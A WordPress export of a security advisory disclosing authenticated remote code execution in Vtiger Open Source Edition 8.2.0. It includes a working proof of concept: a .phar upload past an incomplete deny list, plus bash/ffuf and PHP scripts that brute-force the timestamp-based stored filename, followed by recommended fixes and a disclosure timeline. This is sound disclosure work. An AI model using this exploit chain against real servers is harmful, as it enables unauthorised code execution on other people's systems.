{"id":23992,"date":"2025-06-06T09:09:51","date_gmt":"2025-06-06T07:09:51","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23992"},"modified":"2025-06-11T14:56:41","modified_gmt":"2025-06-11T12:56:41","slug":"usd-2024-0015","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0015\/","title":{"rendered":"usd-2024-0015"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2024-0015 | Vtiger Open Source Edition 8.2.0 - Authenticated Remote Code Execution<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Vtiger<br \/>\n<strong>Affected Version<\/strong>: Open Source Edition 8.2.0<br \/>\n<strong>Vulnerability Type<\/strong>:Unrestricted Upload of File with Dangerous Type (CWE-434)<br \/>\n<strong>Security Risk<\/strong>: Critical<br \/>\n<strong>Vendor<\/strong>: Vtiger<br \/>\n<strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.vtiger.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.vtiger.com\/<\/a><br \/>\n<strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/>\n<strong>Vendor Status<\/strong>: Not fixed<br \/>\n<strong>CVE Number<\/strong>: Requested<br \/>\n<strong>CVE Link<\/strong>: Requested<\/p>\n<h3>Description<\/h3>\n<p>Vtiger Open Source Edition 8.2.0 allows low-privileged authenticated users to execute arbitrary code. The document module has an insufficient deny list, allowing the upload of <strong>.phar<\/strong> files. The storage location can be brute-forced, allowing the execution of the uploaded file. The default Docker image is vulnerable, as well as all systems that are configured to evaluate <strong>.phar<\/strong> files.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>A file containing the payload, <strong>phpinfo.phar<\/strong> with content <strong><!--?php phpinfo(); ?--><\/strong> in this example, can be uploaded via the webinterface.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DocumentCreation.png\" width=\"1301\" height=\"617\" alt=\"\" class=\"wp-image-23917 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DocumentCreation.png 1301w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DocumentCreation-1280x607.png 1280w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DocumentCreation-980x465.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DocumentCreation-480x228.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1301px, 100vw\" \/><\/p>\n<p>The file is uploaded to a subdirectory of <strong>storage\/&lt;YYYY&gt;\/&lt;MonthFullName&gt;\/&lt;WeekInMonth&gt;\/<\/strong>. Its filename is generated using the following function.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"x\" style=\"background: #263238\">public static function getEncryptedFileName($sanitizedFileName) {<\/span><br \/><span class=\"x\" style=\"background: #263238\">    $encryptedFileName = $sanitizedFileName;<\/span><br \/><span class=\"x\" style=\"background: #263238\">    if ($sanitizedFileName) {<\/span><br \/><span class=\"x\" style=\"background: #263238\">        $fileNameParts = explode('.', decode_html($sanitizedFileName));<\/span><br \/><span class=\"x\" style=\"background: #263238\">        $fileType = array_pop($fileNameParts);<\/span><br \/><span class=\"x\" style=\"background: #263238\">        $encryptedFileName = md5(md5(microtime(true)).implode('.', $fileNameParts)).'.'.$fileType;<\/span><br \/><span class=\"x\" style=\"background: #263238\">    }<\/span><br \/><span class=\"x\" style=\"background: #263238\">    return $encryptedFileName;<\/span><br \/><span class=\"x\" style=\"background: #263238\">}<\/span><br \/><\/pre>\n<\/div>\n<p>In the default Docker installation, brute-forcing the filename is not necessary since directory listings are enabled.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DirectoryListing.png\" width=\"942\" height=\"261\" alt=\"\" class=\"wp-image-23919 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DirectoryListing.png 942w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/DirectoryListing-480x133.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 942px, 100vw\" \/><\/p>\n<p>If directory listings were not enabled, the possible encrypted filenames are brute-forceable. The following listing shows the used scripts.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"ch\" style=\"background: #263238;color: #546e7a;font-style: italic\">#!\/bin\/bash<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">BASE_URL<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"[http:\/\/localhost\"<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]()<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">FILE_ID<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"34\"<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">FILE_NAME<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"phpinfo.phar\"<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">FILE_DATE_STRING<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"2024-09-20 07:19 AM\"<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">PATH_BASE<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">$(<\/span>php<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>GenBasePath.php<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$FILE_ID<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$FILE_DATE_STRING<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">)<\/span>\n<span class=\"k\" style=\"background: #263238;color: #bb80b3\">for<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>SEC_OFFSET<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">in<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">$(<\/span>seq<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">0<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">60<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">)<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">do<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">echo<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Trying second offset <\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$SEC_OFFSET<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span>ffuf<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>-u<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"si\" style=\"background: #263238;color: #89ddff\">${<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">BASE_URL<\/span><span class=\"si\" style=\"background: #263238;color: #89ddff\">}<\/span>\/storage\/<span class=\"si\" style=\"background: #263238;color: #89ddff\">${<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">PATH_BASE<\/span><span class=\"si\" style=\"background: #263238;color: #89ddff\">}<\/span>FUZZ<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>-w<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>&lt;<span class=\"o\" style=\"background: #263238;color: #89ddff\">(<\/span>php<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>GenPotentialNames.php<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$FILE_ID<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$FILE_NAME<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$FILE_DATE_STRING<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$SEC_OFFSET<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>-noninteractive<span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span>-s\n<span class=\"k\" style=\"background: #263238;color: #bb80b3\">done<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<\/pre>\n<\/div>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"cp\" style=\"background: #263238;color: #546e7a;font-style: italic\">&lt;?php<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileName<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>  <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$argv<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">];<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">strtotime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$argv<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">]);<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$secOffset<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">intval<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$argv<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">3<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">]);<\/span>\n<span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/$microsecond = 1 \/ 1000000;  \/\/ While this is a real microsecond, PHP does not seem to have sufficient precision<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$microsecond<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"mi\" style=\"background: #263238;color: #f78c6c\">1<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span> <span class=\"mi\" style=\"background: #263238;color: #f78c6c\">10000<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>  <span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ This suffices.<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileNameParts<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">explode<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'.'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileName<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileType<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">array_pop<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileNameParts<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"k\" style=\"background: #263238;color: #bb80b3\">for<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$iTs<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">+<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$secOffset<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$iTs<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;=<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">+<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$secOffset<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">+<\/span> <span class=\"mi\" style=\"background: #263238;color: #f78c6c\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$iTs<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">+=<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$microsecond<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span> <span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n    <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$encryptedFileName<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">md5<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">md5<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$iTs<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">implode<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'.'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileNameParts<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">))<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'.'<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileType<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n    <span class=\"k\" style=\"background: #263238;color: #bb80b3\">echo<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$encryptedFileName<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span> <span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"se\" style=\"background: #263238;color: #eff\">\\n<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"cp\" style=\"background: #263238;color: #546e7a;font-style: italic\">?&gt;<\/span>\n<\/pre>\n<\/div>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"cp\" style=\"background: #263238;color: #546e7a;font-style: italic\">&lt;?php<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileId<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$argv<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">];<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">strtotime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$argv<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">[<\/span><span class=\"mi\" style=\"background: #263238;color: #f78c6c\">2<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">]);<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$weekInMonth<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">date<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'W'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">-<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">date<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'W'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">strtotime<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">date<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'Y-m-01'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)));<\/span>\n<span class=\"nv\" style=\"background: #263238;color: #89ddff\">$pathBase<\/span> <span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">date<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'Y'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'\/'<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">date<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'F'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$initialTimestamp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'\/week'<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$weekInMonth<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'\/'<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nv\" style=\"background: #263238;color: #89ddff\">$fileId<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'_'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"k\" style=\"background: #263238;color: #bb80b3\">echo<\/span> <span class=\"nv\" style=\"background: #263238;color: #89ddff\">$pathBase<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span>\n<span class=\"cp\" style=\"background: #263238;color: #546e7a;font-style: italic\">?&gt;<\/span>\n<\/pre>\n<\/div>\n<p>The required values in the above bash script can be seen in the details of the uploaded document.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/UploadedFileGui.png\" width=\"1052\" height=\"629\" alt=\"\" class=\"wp-image-23913 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/UploadedFileGui.png 1052w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/UploadedFileGui-980x586.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/UploadedFileGui-480x287.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1052px, 100vw\" \/><\/p>\n<p>Running the above bash script outputs the identified file name. Note that the amount of required requests can be reduced significantly by narrowing down the creation time on the level of seconds, rather than relying on the creation time displayed in the webinterface.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/BruteForceSuccess.png\" width=\"386\" height=\"162\" alt=\"\" class=\"wp-image-23921 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/BruteForceSuccess.png 386w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/BruteForceSuccess-300x126.png 300w\" sizes=\"(max-width: 386px) 100vw, 386px\" \/><\/p>\n<p>When the file is accessed directly, its contents are executed.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/FileExecution.png\" width=\"949\" height=\"337\" alt=\"\" class=\"wp-image-23915 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/FileExecution.png 949w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/FileExecution-480x170.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 949px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p>Multiple separate adjustments are recommended for an in-depth fix:<\/p>\n<ul>\n<li>The <strong>.phar<\/strong> extension should be added to the deny list.<\/li>\n<li>Execution of <strong>.phar<\/strong> files via the PHP interpreter should be disabled.<\/li>\n<li>Directory listings should be disabled globally.<\/li>\n<li>A secure random number generator should be used to generate unguessable filenames.<\/li>\n<li>If possible, direct access to the <strong>storage<\/strong> directory should be forbidden completely.<\/li>\n<\/ul>\n<p>Users of Vtiger should upgrade to a patched version.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.vtiger.com\/open-source-crm\/download-open-source\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.vtiger.com\/open-source-crm\/download-open-source\/<\/a><\/li>\n<li><a href=\"https:\/\/hub.docker.com\/r\/vtigercrm\/vtigercrm-8.2.0\" target=\"_blank\" rel=\"noopener\">https:\/\/hub.docker.com\/r\/vtigercrm\/vtigercrm-8.2.0<\/a><\/li>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/434.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/434.html<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2024-09-24:<\/strong> Initial contact request to Vtiger<\/li>\n<li><strong>2024-10-14:<\/strong> Sent reminder via email<\/li>\n<li><strong>2024-11-25:<\/strong> Sent follow up email and opened security issue on Vtiger's GitLab instance<\/li>\n<li><strong>2025-01-29:<\/strong> Received contact information for disclosing vulnerabilties<\/li>\n<li><strong>2025-01-29:<\/strong> Disclosed findings via provided contact address<\/li>\n<li><strong>2025-03-03:<\/strong> usd AG reviewed implementation of suggested fixes and provided further guidance to strengthen Vtiger's security<\/li>\n<li><strong>2025-06-02:<\/strong> This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0015 | Vtiger Open Source Edition 8.2.0 - Authenticated Remote Code Execution Product: Vtiger Affected Version: Open Source Edition 8.2.0 Vulnerability Type:Unrestricted Upload of File with Dangerous Type (CWE-434) Security Risk: Critical Vendor: Vtiger Vendor URL: https:\/\/www.vtiger.com\/ Vendor acknowledged vulnerability: Yes Vendor Status: Not fixed CVE Number: Requested CVE Link: Requested Description Vtiger Open Source [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23992","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23992","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23992"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23992\/revisions"}],"predecessor-version":[{"id":24047,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23992\/revisions\/24047"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23992"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}